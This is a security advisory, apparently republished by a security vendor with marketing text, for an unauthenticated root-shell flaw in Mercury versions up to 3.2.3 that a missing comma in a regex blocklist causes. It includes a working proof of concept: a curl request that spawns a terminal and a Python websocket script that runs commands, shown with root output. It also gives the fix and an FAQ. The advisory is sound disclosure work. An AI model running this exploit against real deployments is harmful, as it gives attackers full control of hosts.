Summary
Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass
A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.
Details
The blocklist in mercury_app/block_handler.py is defined as:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:
/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together)
/api/shutdown(?:/.*)?
/files(?:/.*)?
A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter
Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.
PoC
Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default
configuration.
Step 1 - spawn a terminal:
curl -i -X POST http://localhost:8888/api/terminals
Response: {"name": "1", "last_activity": "..."}
Step 2 - connect to the terminal and execute commands:
python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
while True:
print(ws.recv())
except Exception:
pass
"
Observed output:
["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]
Confirms full, interactive root shell access with no authentication or prior access of any kind.
Impact
- Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
- Integrity: attacker can modify or delete any file, including notebooks served to other users.
- Availability: attacker can shut down or crash the server/container.
- Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.
Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).
CVE-2026-111057 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.2.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Add the missing comma so /api/terminals becomes an independent blocklist rule:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
Frequently Asked Questions
- What is CVE-2026-111057? CVE-2026-111057 is a critical-severity security vulnerability in mercury (pip), affecting versions >= 3.0.0, <= 3.2.3. It is fixed in 3.2.4.
- How severe is CVE-2026-111057? CVE-2026-111057 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of mercury are affected by CVE-2026-111057? mercury (pip) versions >= 3.0.0, <= 3.2.3 is affected.
- Is there a fix for CVE-2026-111057? Yes. CVE-2026-111057 is fixed in 3.2.4. Upgrade to this version or later.
- Is CVE-2026-111057 exploitable, and should I be worried? Whether CVE-2026-111057 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-111057 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-111057? Upgrade
mercuryto 3.2.4 or later.